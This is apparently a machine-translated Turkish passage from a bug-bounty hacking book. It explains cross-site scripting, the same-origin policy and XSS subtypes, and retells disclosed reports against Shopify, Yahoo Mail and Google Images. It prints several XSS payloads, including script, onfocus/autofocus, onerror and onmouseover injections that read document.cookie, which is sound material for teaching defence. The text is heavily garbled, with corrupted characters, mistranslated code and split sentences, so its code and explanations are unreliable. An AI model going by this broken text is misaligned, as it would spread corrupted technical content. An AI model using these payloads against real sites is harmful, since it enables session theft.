Hack�ng, potans�yel olarak saldırgan tarafından kontrol ed�len parametreler�n aranmasına d�kkat ed�n.
HTTP başlığına ger� yansıtılıyor. Eğer öyleyse, s�tey� kullanımları �ç�n test etmeye başlayın
kodlanmış karakterler�n, özell�kle% 0D% 0A. Başarılı olursa, b�r adım daha atmaya çalışın
ve güvenl�k açığını etk�ley�c� b�r konsept kanıtı �ç�n b�r XSS enjeks�yonuyla b�rleşt�r�n.

Öte yandan, sunucu% 0D% 0A'ya yanıt verm�yorsa, nasıl yapab�leceğ�n�z� düşünün
bu karakterler� ç�ft kodlayın,% 250D değer�n� geçen veya
olayda, s�te @ @f�ledescr�ptor'ın yaptığı g�b� ekstra değerler� yanlış kullanıyordur.
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9. S�teler Arası Komut Dosyası Yazma

Açıklama

S�teler arası komut dosyası çalıştırma (veya XSS) güvenl�k açığı en ünlü örnekler�nden b�r�
Samy Kamkar tarafından oluşturulan Myspace Samy Solucanı. Ek�m 2005’te Samy sömürüldü
Myspace’de b�r JavaScr�pt yükünü depolamasına �z�n veren b�r XSS güvenl�k açığı
onun prof�l�. G�r�ş yapan b�r kullanıcı Myspace prof�l�n� z�yaret ett�ğ�nde, yük taşıma kodu
yürüterek, �zley�c�n�n Samy'n�n arkadaşını Myspace'de çalıştırması ve �zley�c�n�n prof�l�n� güncellemes�
“ama heps�nden öneml�s� samy ben�m kahramanım” metn�n� görüntülemek �ç�n. Sonra kod kend�n� kopyalardı
İzley�c�n�n prof�l�ne g�d�n ve d�ğer Myspace kullanıcı sayfalarını etk�lemeye devam ed�n.

Samy solucanı kötü n�yetl� b�r n�yetle yaratmadıysa da, Myspace çok k�bar davranmadı
ona ve hükümet Samy'n�n ev�ne baskın düzenled�. Samy, serbest bırakıldığı �ç�n tutuklandı
solucan ve suçundan ağır suçla suçu reddett�.

Samy'n�n solucanı aşırı b�r örnek olsa da, yaptığı �st�smara göre gen�ş b�r etk�
XSS güvenl�k açığı b�r web s�tes�nde olab�l�r. Ele aldığımız d�ğer güvenl�k açıklarına benzer
şu ana kadar, web s�teler� bel�rl� karakterler� �z�ns�z hale get�rd�ğ�nde XSS açıkları ortaya çıkıyor,
bu da tarayıcıların �stenmeyen JavaScr�pt çalıştırmasına neden olur. Bu karakterler ç�ft �çer�r



tırnak (“), tek tırnak (') ve açılı ayraçlar (<>). Onlar özel çünkü onlar
B�r web sayfasının yapısını tanımlamak �ç�n HTML ve JavaScr�pt’te kullanılır. Örneğ�n, b�r s�te olmasaydı
köşel� parantezler� dezenfekte ederek <scr�pt> </scr�pt> '� ekleyeb�l�rs�n�z :

<Scr�pt> alert (document.doma�n) </ scr�pt>

Bu yük b�r web s�tes�ne gönder�ld�ğ�nde ve sağlıksız hale get�r�ld�ğ�nde, <scr�pt> </scr�pt>

et�ketler tarayıcıya aralarında JavaScr�pt'� çalıştırmasını söyler. Bu durumda,
Yük, görüntülenen b�r açılır pencerey� oluşturan uyarı �şlev�n� uygular.
b�lg� alarma geçt�. Parantez �ç�ndek� belgeye referans
DOM ve bu durumda, s�ten�n etk� alanı adını döndürür. Yük taşınırsa
üzer�nde https://www.example.com/foo/bar , pop-up kutusu görüntüleyecekt�r www.example.com .

B�r s�te bu karakterler� uygun şek�lde ster�l�ze ed�yor olsaydı, HTML olarak �şlen�rd�
varlıklar. Onlarla b�r web sayfasının sayfa kaynağını görüntülemek, "şekl�nde & quot; veya
& # 34; , 'olarak & ' ; veya & 39; , <olarak & lt; veya & # 60; ve> olarak & gt; veya & # 62; .

B�r XSS güvenl�k açığı bulduktan sonra, etk�s�n� onaylamalısınız, çünkü heps� değ�l
XSS güvenl�k açıkları aynıdır. B�r hatanın c�hazınızdak� etk�s�n� doğrulama ve onaylama
yazma, raporunuzu gel�şt�recek, tet�kç�ler�n hatayı doğrulamasına yardımcı olacak ve
sen�n ödülün.
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Örneğ�n, b�r s�tedek� httpOnly bayrağını kullanmayan b�r XSS güvenl�k açığı
Hassas çerezler, b�r XSS güvenl�k açığından farklıdır. HttpOnly olmadan
bayrak, XSS’n�z çerez değerler�n� okuyab�l�r ve bunlar oturum tanımlayıcı çerezler� �çer�yorsa,
B�r hedef�n oturumunu çalab�l�r ve hesaplarına er�şeb�l�rs�n�z. Uyarab�l�rs�n
Bunu onaylamak �ç�n document.cook�e (hang� çerezler�n hassas olarak değerlend�r�ld�ğ�n� b�lmek
b�r s�te, s�te bazında deneme yanılma gerekt�r�r). Sah�p olmadığın durumlarda b�le
Hassas tanımlama b�lg�ler�ne er�şeb�l�rsen�z, bunu yapıp yapamayacağınızı onaylamak �ç�n document.doma�n öğes�n� uyarab�l�rs�n�z.
DOM’den hassas kullanıcı b�lg�ler�ne er�şme ve
hedef. Doğru etk� alanı uyarılmadıysa, XSS s�te �ç�n b�r güvenl�k açığı olmayab�l�r.

Document.doma�n öğes�n� b�r sandboxed �Frame'den uyarırsanız, örneğ�n JavaScr�pt
çerezlere er�şemed�ğ�nden, kullanıcının hesabında �şlem yapamadığından veya
DOM’dan hassas kullanıcı b�lg�ler�ne er�ş�n. Bunun neden� tarayıcıların b�r
Güvenl�k mekan�zması olarak aynı Menşe Pol�t�kası (SOP).

SOP, belgeler�n (DOM'dek� D) kaynaklarla nasıl etk�leş�me g�rmes�ne �z�n ver�ld�ğ�n� kısıtlar
başka b�r kaynaktan yüklend�. SOP masum web s�teler�n� kötü n�yetl� s�telerden koruyor
kullanıcı aracılığıyla onlardan yararlanmaya çalışmak. Örneğ�n, www.mal�c�ous.com adres�n� z�yaret ett�ysen�z
ve tarayıcınızda www.example.com/prof�le adres�ne b�r GET �steğ� çağırdı;
www.mal�c�ous.com’un www.example.com/prof�le yanıtını okumasını engelley�n . Ancak,
www.example.com , d�ğer s�teler�n or�j�nale çapraz etk�leş�m kurmasına �z�n vereb�l�r, ancak bu genell�kle
bel�rl� web s�teler�yle sınırlı ve gen�ş, sınırsız etk�leş�m genell�kle b�r hatadır.

B�r s�ten�n köken�, ana b�lg�sayar protokolü (örneğ�n, HTTP veya HTTPS) tarafından bel�rlen�r.
(örneğ�n, www.example.com ) ve web s�tes�n�n bağlantı noktası. Bu kuralın �st�snası
, bağlantı noktasını kaynağın b�r parçası olarak kabul etmeyen Internet Explorer'dır. İşte
Bazı köken örnekler� ve aynı olarak kabul ed�l�p ed�lmeyecekler�
http://www.example.com .

URL Aynı Köken? neden

http://www.leanpub.com/web-
hack-101

Evet N / A



http://www.leanpub.com/a/yaworsk Evet N / A
https://www.leanpub.com/web-
hack-101

Hayır Farklı protokol

http://store.leanpub.com/web-
hack-101

Hayır Farklı ev sah�b�

http://www.leanpub.com:8080/web-
hack-101

Hayır Farklı l�man

URL'n�n or�j�n �le eşleşmeyeceğ� bazı durumlar vardır. Tarayıcılar
farklı �k� SOP şemaları bağlamında: hakkında: boş ve JavaScr�pt: . Bu �k� şema
bunları açarak belgen�n köken�n� devralır. About: blank bağlamının b�r parçası
Tarayıcıdan b�lg�ye er�şmek veya tarayıcıyla etk�leş�mde bulunmak �ç�n kullanılan URL şeması
kend�s�. JavaScr�pt URL şeması, JavaScr�pt'� yürütmek �ç�n kullanılır. URL sağlamıyor
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or�j�n� hakkında b�lg�, bu yüzden �k� şema farklı ele alınır.

B�r XSS güvenl�k açığı bulduğunuzda, kanıtınızda uyarı (document.doma�n) kullanarak
kavram faydalıdır, çünkü XSS'n�n yürütüldüğü yer� tey�t eder, örneğ�n
tarayıcıda göster�len URL’n�n or�j�nalden farklı olduğu durumlarda
XSS'n�n karşı çalıştığını. Bu tam olarak b�r web s�tes� açıldığında ne olur
javascr�pt: URL. Www.example.com b�r javascr�pt: alert (document.doma�n) URL’s� açtıysa,
tarayıcı adres� javascr�pt göster�r : uyarısı (document.doma�n) ancak uyarı kutusu şöyle derd�:
Uyarı, öncek� belgen�n kaynağını devraldığı �ç�n www.example.com.

XSS'ye ulaşmak �ç�n yalnızca <scr�pt> et�ket�n� kullanan b�r örnek ele alsak da,
Potans�yel b�r enjeks�yon bulduğunuzda HTML et�ketler�n� her zaman gönderemezs�n�z. Bunun �ç�nde
Bu durumda, b�r XSS yükünü enjekte etmek �ç�n tek veya ç�ft tırnak göndermeye devam edeb�l�rs�n�z.
Enjeks�yonun gerçekleşt�ğ� yere bağlı olarak bu hala öneml� olab�l�r. Örneğ�n, had�
Aşağıdak� kodun değer özell�ğ�ne er�ş�m�n�z olduğunu söyley�n:

<�nput type = "text" name = "kullanıcı adı" value = "korsan">

Değer özell�ğ�ne ç�ft b�r tekl�f enjekte ederek mevcut tekl�f� kapatab�l�rs�n�z.
ve et�kete kötü amaçlı b�r XSS yükü enjekte ed�n. Bunu değer� değ�şt�rerek yapab�l�rs�n�z.
özn�tel�ğ�n� Hacker "onfocus = alert (document.cook�e'y�) otofokus" neden olacaktır:

<�nput type = "text" name = "kullanıcı adı" value = "korsan" onfocus = alert (document.cook�e) otomat�k odaklama "">

Otomat�k odaklama özell�ğ�, tarayıcıya �mleç odağını g�r�şe yerleşt�rmes� �ç�n tal�mat ver�r.
Sayfa yüklen�r yüklenmez ve met�n kutusu netlend�ğ�nde met�n kutusu kullanılan b�r JavaScr�pt özell�ğ�d�r
Tarayıcıya, g�r�ş met�n kutusu odak olduğunda JavaScr�pt’� çalıştırmasını söyleme
otomat�k odaklama, odaklanma genell�kle b�r k�ş� met�n kutusunu tıkladığında gerçekleş�r). Ancak,
bu, g�zl� b�r alana otomat�k netleme yapamayacağınız ve b�r ekranda b�rden çok alan varsa
otofokus olan sayfa, �lk veya son öğeye bağlı olarak odaklanacak.
tarayıcı test �ç�n kullanılır. Yük çalıştırıldığında, document.cook�e'y� uyarır.

Benzer şek�lde, b�r scr�pt et�ket�ndek� b�r değ�şkene er�ş�m�n�z olduğunu varsayalım. Yapab�lseyd�n
Aşağıdak� koddak� �s�m değ�şken� değer�ne tek tırnaklar eklersen�z,
değ�şken� kapatın ve kend� JavaScr�pt'�n�z� çalıştırın:

<Scr�pt>
var name = 'hacker';

</ Scr�pt>

Burada, hacker değer�n� kontrol ett�ğ�m�zden, ad değ�şken�n� hacker olarak değ�şt�rerek '; alert (document.cook�e);'



sonuçlanır:
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<Scr�pt>
var name = 'hacker'; alert (document.cook�e); '';

</ Scr�pt>

Tek b�r f�yat tekl�f� ve noktalı v�rgül enjekte etmek değ�şken �sm�n� kapatır ve
<scr�pt> et�ket�, enjekte ett�ğ�m�z JavaScr�pt �şlev� uyarısı (document.cook�e)
�dam. B�r ek ekled�k; ' �şlev çağrımızı sonlandırmak ve JavaScr�pt’�n
s�te �çerd�ğ� �ç�n sözd�z�msel olarak doğru '; �s�m değ�şken�n� kapatmak �ç�n. 'Olmadan;
Sonunda, sayfa sözd�z�m�n� kırab�lecek sarkan b�r tek alıntı olacaktı.

XSS �ç�n testler açısından, �k� ana tür olduğunu fark etmek öneml�d�r.
XSS: yansıtılmış ve kayded�lm�şt�r. Yansıtılmış XSS, XSS yükü tesl�m ed�ld�ğ�nde gerçekleş�r ve
Tek b�r HTTP �steğ� �le gerçekleşt�r�l�r ve s�ten�n h�çb�r yer�nde saklanmaz. Olmadığından
saklandı, başka b�r HTTP �steğ� göndermeden yükü çalıştırmak mümkün değ�l
yük �le. Ancak, tarayıcıların (Chrome, Internet Explorer, Edge ve Safar�)
XSS Denetç�ler�'n� tanıtarak bu tür güvenl�k açığını önlemeye çalıştı. Bu �nşa
�şlevsell�kte tarayıcılar kullanıcıları kötü n�yetl� bağlantılardan korumaya teşebbüs etm�ş
JavaScr�pt'� yürütün. Bu olduğunda, tarayıcı t�p�k olarak bozuk b�r sayfa göster�r.
kullanıcıları korumak �ç�n sayfayı bel�rten b�r mesaj engellend�.

Tarayıcı gel�şt�r�c�ler�n en �y� çabalarına rağmen, XSS Denetç�ler� sık sık atlanıyor
B�r s�tede JavaScr�pt'�n yürütülmes�n�n karmaşık yollarından dolayı. Bunlardan dolayı
sık sık değ�ş�mler� atlar, bu k�tabın kapsamı dışındadır ancak �k�
kaynakları, F�leDescr�ptor'ın x-xss koruma başlığındak� blog yazısıdır.1 ve Masato
K�nugawa'nın f�ltres�, kopya kağıdı 2'y� atladı .

Buna karşılık, depolanan XSS, b�r s�te kötü amaçlı b�r yük oluşturduğunda ve oluşturduğunda ortaya çıkar
Tem�zlenmem�ş. Depolanan XSS'y� ararken, s�teler�n görüntüleyeb�leceğ�n� unutmayın.
G�r�len yük, çeş�tl� konumlarda. Yükün yürütülememes� mümkündür
gönderd�kten hemen sonra ancak başka b�r sayfaya er�ş�ld�ğ�nde çalışab�l�r. İç�n
Örneğ�n, b�r web s�tes�nde, adınız olarak XSS yükü olan b�r prof�l oluşturduysanız,
Prof�l�n�z� görüntüled�ğ�n�zde XSS çalışmayab�l�r, ancak b�r�ler� arandığında
adınız veya b�r�s� s�ze b�r mesaj gönderd�.

XSS ayrıca üç alt türe ayrılab�l�r: DOM Based, Bl�nd ve Self. DOM
Tabanlı XSS, b�r web s�tes�n�n mevcut JavaScr�pt kodunu yürütmek üzere değ�şt�r�lmes�n�n b�r sonucudur
zararlı javascr�pt ve Saklı veya Yansıyan olab�l�r. Örneğ�n, b�r web s�tes�
web s�tes�n�n �çer�ğ�n� URL’den b�r değerle değ�şt�rmek �ç�n aşağıdak� HTML’y� kullandı
Kötü n�yetl� g�r�ş kontrolü yapmadan XSS yürütmek mümkün olab�l�r:

1 https://blog.�nnerht.ml/the-m�sunderstood-x-xss-protect�on/
2 https://g�thub.com/masatok�nugawa/f�lterbypass/w�k�/Browser's-XSS-F�lter-Bypass-Cheat-Sheet
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<Html>
<Body>

<h1> Merhaba <span �d = "name" > </span> </h1>

<Scr�pt>
Document.getElementById ( 'adı'). �nnerHTML = locat�on.hash.spl�t ( '#') [1]

</ Scr�pt>

</ Body>
</ Html>

Bu örnek web sayfasında, scr�pt et�ket� belge nesnes�n�n getElementById dosyasını çağırıyor
HTML öğes�n� 'name' k�ml�ğ�yle bulma yöntem�. Bu b�r referans döndürür
<h1> et�ket�ndek� span öğes� . Daha sonra, scr�pt et�ket� metn�n metn�n� değ�şt�r�yor.
arasında <span �d = "�s�m"> </ span> �nnerHTML yöntem� kullanılarak. Komut dosyası
arasındak� metn� <span> </ span> B�r # sonra locat�on.hash gelen değere, ya da b�r şey
URL’de (konum, DOM’ye benzer b�r başka tarayıcı API’s�d�r ve er�ş�m sağlar
geçerl� URL hakkında b�lg� almak �ç�n).

Bu sayfaya www.example.com/h� adres�nden er�ş�leb�l�rse, www.example.com/h�#Peter adres�n� z�yaret ed�n.
sayfanın HTML’s�n�n d�nam�k olarak <h1> H� Peter </h1> olarak güncellenmes�ne neden olur . Ancak,
Bu sayfa, yayılma öğes�n� güncellemeden önce URL'dek� # değer�n� ster�l�ze etmed�ğ�nden,
B�r kullanıcı www.example.com/h1#<�mg src = x onerror = alert (document.doma�n)> adres�n� z�yaret ett�ğ�nde , b�r JavaScr�pt
Uyarı kutusu, göster�len www.example.com �le b�rl�kte açılır (x görüntü olmadığını varsayarsak)
tarayıcıya ger� döndü). Sayfadan sonuçlanan HTML şöyle görünür:

<Html>
<Body>

<h1> Merhaba <span �d = "name" > <�mg src = x onerror = alert (document.doma�n) > </span> </h1>

<Scr�pt>
Document.getElementById ( 'adı'). �nnerHTML = locat�on.hash.spl�t ( '#') [1]

</ Scr�pt>

</ Body>
</ Html>

Kör XSS, XSS yükünün başka b�r kullanıcı tarafından oluşturulduğu, depolanmış b�r XSS türüdür.
web s�tes�n�n b�r b�lg�sayar korsanı genell�kle er�şemez. Örneğ�n, bu olab�l�r
K�ş�sel b�r şey oluştururken XSS'y� adınız ve soyadınız olarak ekleyeb�l�rs�n�z.
b�r s�tedek� prof�l�. Düzenl� kullanıcılar prof�l�n�z� görüntüled�ğ�nde bu değerler kaçab�l�r
ancak b�r yönet�c�, s�tedek� tüm yen� kullanıcıları l�steleyen b�r yönet�m sayfasını z�yaret ett�ğ�nde,
değerler ster�l�ze ed�lemez ve XSS çalıştırılamaz. XSSHunter aracıMatt tarafından 3
Bryant bunları tesp�t etmek �ç�n har�ka. Matt tarafından tasarlanan yükler JavaScr�pt'� çalıştırıyor
DOM, tarayıcı b�lg�ler�, çerezler� okumak �ç�n tasarlanmış b�r uzaktan komut dosyasını yükler,

3 https://xsshunter.com/
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ve komut dosyası ne zaman XSSHunter hesabınıza ger� gönder�leceğ� d�ğer b�lg�ler
Idam ed�ld�.

Kend� kend�ne XSS güvenl�k açıkları saklanab�l�r veya saklanmayab�l�r ancak genell�kle kullanıcıyı etk�leyeb�l�r
yüke g�rmek, dolayısıyla addak� “ben”. Örneğ�n, bu meydana geleb�l�r
XSS b�r POST �steğ� yoluyla gönder�l�r, ancak �stek CSRF tarafından korunur;
hedef, XSS yükünü göndereb�l�r. B�r saldırgan yalnızca kend�ler�ne saldırab�ld�ğ�nden, bu
XSS türü genell�kle düşük c�dd�yet olarak kabul ed�l�r ve hata ödül programları tarafından ödenmez.
Bu tür b�r XSS bulursanız, not almak ve fırsat aramak �ç�n en �y�s�
oturum açma / kapatma CSRF g�b� masum kullanıcılara saldırmak �ç�n başka b�r güvenl�k açığı �le b�rleşt�r�n.
Bu tür b�r saldırıda, hedefler�nden b�r� hesaptan çıkarılır ve saldırganın hesabına kayded�l�r.
Kötü n�yetl� JavaScr�pt yürütmek �ç�n hesap. Bu saldırı t�p�k olarak
Kötü n�yetl� JavaScr�pt �le hedef� tekrar bu hesaba g�r�ş yapın ve har�ka b�r örnek
Jack Wh�tton tarafından Uber'dek� s�telerden b�r�nde yayınlanan 4 .

XSS’n�n etk�s�, depolanıp depolanmadığı veya
Çerezler�n er�ş�leb�l�r olup olmadığı, yükün nerede yürüdüğü vb.
Potans�yel sonuçlara rağmen, XSS açıklarını düzeltmek çoğu zaman kolaydır ve yalnızca
önce yazılım gel�şt�r�c�ler�n kullanıcı g�r�ş�n� (HTML enjeks�yonu g�b�) dezenfekte etmes�n� gerekt�r�r
render.

Örnekler

1. Toptan Shop�fy

Zorluk : Düşük

URL : wholesale.shop�fy.com

Rapor Bağlantısı : https://hackerone.com/reports/1062935

Rapor Tar�h� : 21 Aralık 2015

Ödemel� Ödül : 500 Dolar

Tanım :

Shop�fy'ın toptancı s�tes� 6 , farklı b�r harekete geç�rme �fades� olan bas�t b�r web sayfasıdır.
ürün adını ve "Ürünler� Bul" u tıklayın. İşte b�r ekran görüntüsü:

4 https://wh�tton.�o/art�cles/uber-turn�ng-self-xss-�nto-good-xss
5 https://hackerone.com/reports/106293
6 wholesale.shop�fy.com
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Shop�fy'ın toptan satış s�tes�n�n ekran görüntüsü

Buradak� XSS güvenl�k açığı bulab�leceğ�n�z en temel olanıydı - aramaya g�r�len met�n
kutu kaçamadı, bu yüzden g�r�len herhang� b�r Javascr�pt çalıştırıldı. İşte gönder�len met�n
güvenl�k açığı açıklamasından: test '; alert (' XSS ');'

Bu çalışmanın neden� Shop�fy'ın kullanıcıdan g�rd� aldığı, araştırmayı yürüttüğü
sorgusu ve h�çb�r sonuç döndürülmed�ğ�nde, Shop�fy "hayır
bu �s�mde ürünler bulundu ancak g�r�len Javascr�pt
Sayfadak� b�r Javascr�pt et�ket� �ç�nde ger� dönülmem�ş. Sonuç olarak, XSS’den yararlanmak
güvenl�k açığı önems�zd�.
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çıkarımlar

Metn� g�rd�ğ�n�z durumlar �ç�n özel d�kkat göstererek her şey� test ed�n
sana ger� döndürülüyor. HTML ekley�p eklemeyeceğ�n�z� bel�rlemek �ç�n test ed�n
veya s�ten�n nasıl �şlend�ğ�n� görmek �ç�n Javascr�pt. Ayrıca buna benzer kodlanmış g�r�ş� deney�n
HTML Enjeks�yonu bölümünde açıklanmıştır.

XSS açıklarının karmaşık veya karmaşık olması gerekmez. Bu güvenl�k açığı
bulab�leceğ�n�z en temel şeyd� - ster�l�ze etmeyen bas�t b�r g�r�ş met�n alanı
b�r kullanıcının g�r�ş�. Ve 21 Aralık 2015'te keşfed�ld� ve
500 dolar hacker! Gereken tek şey b�lg�sayar korsanının bakış açısıydı.



2. Hed�ye Kartını Shop�fy

Zorluk : Düşük

URL : hardware.shop�fy.com/cart

Rapor Bağlantısı : https://hackerone.com/reports/95089 7

Rapor Tar�h� : 21 Ek�m 2015

Ödemel� Ödül : 500 Dolar

Tanım :

Shop�fy'ın donanım hed�ye kartı s�tes�8 , kullanıcıların kend� hed�ye kartlarını
Dosya yükleme g�r�ş kutusu, ayrıntılar �ç�n bazı met�n kutuları vb. İçeren HTML formu.
b�r ekran görüntüsü:

7 https://hackerone.com/reports/95089
8 hardware.shop�fy.com/collect�ons/g�ft-cards/products/custom-g�ft-card
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Shop�fy'ın donanım hed�ye kartı formunun ekran görüntüsü

Buradak� XSS güvenl�k açığı, görüntünün adına Javascr�pt g�r�ld�ğ�nde ortaya çıktı.
formdak� alan. B�r HTML proxy �le yapıldığında oldukça kolay b�r görev. Yan� burada, or�j�nal
form tesl�m� şunları �çerecekt�r:

İçer�k - Yatırma : form - ver�; name = "propert�es [Yapıt dosyası]"

Hang�s� ele geç�r�l�p değ�şt�r�l�r:
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İçer�k Eğ�l�m� : form ver�s� ; name = "propert�es [ Yapıt dosyası < �mg src = 'test' onm \
ouseover = 'alert (2)' > ] " ;

çıkarımlar

Burada XSS güvenl�k açığını bulurken yardımcı olacak not ed�lmes� gereken �k� şey var.
kravat, bağlantı, bağ:

1. Bu durumda bu güvenl�k açığı aslında dosya g�r�ş� alanında değ�ld� -
alanın name özell�ğ� üzer�ndeyd�. Pek� XSS'� ararken
fırsatlar mevcut tüm g�r�ş değerler� �le oynamayı unutmayın.

2. Buradak� değer vek�l tarafından yönlend�r�ld�kten sonra gönder�ld�. Bu
Javascr�pt’�n değerler�n� doğrulayan
müşter� tarafı (tarayıcınız) herhang� b�r değer aslında s�ten�n ger� dönmeden önce
sunucusu.

Aslında, doğrulamayı tarayıcınızda gerçek zamanlı olarak gördüğünüzde,
bu alanı test etmen�z gereken b�r kırmızı kurbağa olmalı! Gel�şt�r�c�ler yapab�l�r
Değerler�n b�r kez kötü amaçlı kod �ç�n gönder�len değerler� doğrulamaması hatası
Javascr�pt kodunun zaten tarayıcıda olduğunu düşündükler� �ç�n sunucularına
G�r�ş alınmadan önce doğrulama �şlemler�n� yapmak.



3. Para B�r�m� B�ç�mlend�rme Shop�fy

Zorluk : Düşük

URL : SITE.myshop�fy.com/adm�n/sett�ngs/generalt

Rapor Bağlantısı : https://hackerone.com/reports/1043599

Rapor Tar�h� : 9 Aralık 2015

Ödemel� Ödül : 1000 $

Tanım :

Mağazanın mağaza ayarları, para b�r�m� b�ç�mlend�rmes�n� değ�şt�rme özell�ğ�n� �çer�r. Aralık ayında
9'da, bu g�rd� kutularındak� değerler�n uygun şek�lde ster�l�ze ed�lmed�ğ� b�ld�r�ld�.
sosyal medya sayfalarını ayarlarken.

Başka b�r dey�şle, kötü n�yetl� b�r kullanıcı b�r mağaza kurab�l�r ve para b�r�m� ayarlarını değ�şt�reb�l�r
mağazaya aşağıdak�ler �ç�n:

9 https://hackerone.com/reports/104359
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Shop�fy'ın para b�r�m� b�ç�mlend�rmes�n�n ekran görüntüsü

Daha sonra, kullanıcı rapor hal�nde sosyal medya satış kanallarını etk�nleşt�reb�l�r,
Facebook ve Tw�tter ve kullanıcılar o satış kanalı sekmes�ne tıkladığında, Javascr�pt
b�r XSS güvenl�k açığı �le sonuçlandı.

çıkarımlar

Javascr�pt metn� güvenl� b�r şek�lde oluşturulduğunda XSS açıkları ortaya çıkar. Bu
metn�n b�r s�tede b�rden fazla yerde kullanılması ve
Her yer test ed�lmel�d�r. Bu durumda, Shop�fy mağaza �çermez veya
Kullanıcıların Javscr�pt'� kend� başlarına kullanmasına �z�n ver�ld�ğ�nden XSS �ç�n çıkış sayfaları
saklayın. Düşünmeden önce bu güvenl�k açığını kapatmak daha kolay olurdu
Alanın har�c� sosyal medya s�teler�nde kullanılıp kullanılmadığı.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/104359
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/104359


4. Yahoo Ma�l Saklanan XSS

Zorluk : Düşük

URL : Yahoo Ma�l

Rapor Bağlantısı : Kl�kk�.f� 10

Rapor Tar�h� : 26 Aralık 2015

10 https://kl�kk�.f�/adv/yahoo.html
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Ödemel� Ödül : 10.000 $

Tanım :

Yahoo'nun posta ed�törü, �nsanların b�r IMG �le HTML yoluyla görüntüler� b�r e-postaya gömmes�ne �z�n verd�
et�ket. Bu güvenl�k açığı, HTML IMG et�ket� hatalı b�ç�mlend�r�ld�ğ�nde veya geçers�z olduğunda ortaya çıkar.

Çoğu HTML et�ket�, HTML et�ket� �le �lg�l� ek b�lg�ler �çeren n�tel�kler� kabul eder. İç�n
örneğ�n, IMG et�ket� oluşturulacak görüntünün adres�n� gösteren b�r src n�tel�ğ� alır.
Ayrıca, bazı özell�kler boolean özell�kler olarak adlandırılır, yan�
dah�l, HTML’de gerçek b�r değer� tems�l ederler ve �hmal ed�ld�kler�nde
yanlış b�r değer.

Bu güvenl�k açığı �le �lg�l� olarak, Jouko Pynnonen boolean ekled�ğ� takd�rde
b�r değere sah�p HTML et�ketler�ne atfed�len özell�kler, Yahoo Ma�l değer� kaldıracak ancak
eş�t �şaretler. Kl�kk�.f� web s�tes�nden b�r örnek:

<INPUT TYPE = "onay kutusu" CHECKED = "merhaba" NAME = "onay kutusu">

Burada b�r g�r�ş et�ket�, onay kutusunun �şaretl� olup olmadığını bel�rten �şaretl� b�r özell�k �çereb�l�r.
�şaretlend�ğ� g�b� �şlen�rd�. Yukarıda açıklanan ayrıştırmanın ardından, bu
olmak:

<INPUT TYPE = "onay kutusu" CHECKED = NAME = "onay kutusu">

HTML’n�n �şaretl� b�r değere sah�p olup olmadığına d�kkat ed�n, ancak y�ne de
Eş�tt�r �şaret�.

Kuşkusuz bu zararsız görünüyor ama HTML özell�kler�ne göre, tarayıcılar bunu okuyor
NAME = ”değer�ne sah�p CHECKED olarak kontrol ed�n ve g�r�ş et�ket�n�n üçüncü b�r n�tel�ğ� var
değer� olmayan b�r adlandırılmış kutu . Bunun neden� HTML'n�n sıfır veya daha fazla alana �z�n vermes�d�r.
eş�tt�r �şaret� etrafındak� karakterler� b�r alıntılanmamış özn�tel�k değer�nde.

Bundan yararlanmak �ç�n, Jouko aşağıdak� IMG et�ket�n� sundu:

< �mg �smap = 'xxx' �temtype = 'yyy style = gen�şl�k:% 100; yüksekl�k:% 100; konum: sab�t; sol: \
0 p�ksel; en: 0 p�ksel; onmouseover = alarm (/ XSS /) // ' >

hang� Yahoo Ma�l f�ltres�ne dönüşür:

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://klikki.fi/adv/yahoo.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://klikki.fi/adv/yahoo.html


< �mg �smap = �temtype = yyy st�l� = gen�şl�k : % 100 ; yüksekl�k : % 100 ; poz�syon : sab�t ; sol : 0 p�ksel ; üst \

: 0 p�ksel ; onmouseover = alarm (/ XSS /) //>
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Sonuç olarak, tarayıcı tüm tarayıcı penceres�n� kaplayan b�r IMG et�ket�n� oluşturur
ve fare resm�n üzer�ne geld�ğ�nde, Javascr�pt çalıştırılacaktır.

çıkarımlar

Yanlış b�ç�mlend�r�lm�ş veya bozuk HTML’y� geçmek, s�teler�n nasıl ayrıştırıldığını test etmek �ç�n har�ka b�r yoldur
g�r�ş. B�r b�lg�sayar korsanı olarak, gel�şt�r�c�ler�n neler yapmadığını düşünmek öneml�d�r. İç�n
Örneğ�n, normal res�m et�ketler�yle, �k� src n�tel�ğ� �let�rsen�z ne olur?
Bu nasıl olacak?

5. Google Görsel Arama

Zorluk : Orta

URL : �mages.google.com

Rapor Bağlantısı : Zomb�e Help 11

Rapor Tar�h� : 12 Eylül 2015

Ödemel� Ödül : Açıklanmadı

Tanım :

Eylül 2015’te, Mahmud Jamal Google’ın resm�n� bulmak �ç�n Google Görseller’� kullanıyordu.
HackerOne prof�l�. Tarama yaparken, res�m URL’s�nde �lg�nç b�r şey fark ett�.
Google'dan:

http: //www.google.com/�mgres �mgurl = https:? //lh3.googleuser.com / ...

Gerçek URL'dek� �mgurl referansına d�kkat ed�n. Küçük resm�n üzer�ne gel�n,
Mahmoud, çapa et�ket� href özell�ğ�n�n aynı URL'y� �çerd�ğ�n� fark ett�. Sonuç olarak,
parametres�n� javascr�pt olarak değ�şt�rmey� dened� : alert (1) ve çapa et�ket�n�n farkına vardı.
href de aynı değere değ�şt�r�ld�.

Bu noktada heyecanlandı, bağlantıyı tıkladı, ancak Google olarak Javascr�pt çalıştırılmadı.
URL farklı b�r şeye değ�şt�r�ld�. Anlaşılan, Google kodu URL değer�n� değ�şt�rd�
B�r fare düğmes�ne onmousedown Javascr�pt ger� çağırma yoluyla tıklandığında.

Bunu düşünerek, Mahmoud klavyes�n� denemeye ve sayfa boyunca sekmeye karar verd�.
O vardığımızda Görünüm Görüntü düğmes�, JavaScr�pt, b�r XSS sonuçlanan tet�klend�
Güvenl�k açığı. İşte görüntü:

11 http://zomb�ehelp54.blogspot.ca/2015/09/how-�-found-xss-vulnerab�l�ty-�n-google.html

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://zombiehelp54.blogspot.ca/2015/09/how-i-found-xss-vulnerability-in-google.html
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://zombiehelp54.blogspot.ca/2015/09/how-i-found-xss-vulnerability-in-google.html
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Google XSS Güvenl�k Açığı

çıkarımlar

Da�ma güvenl�k açıklarını aramaya devam ed�n. Bunu varsaymak kolaydır çünkü
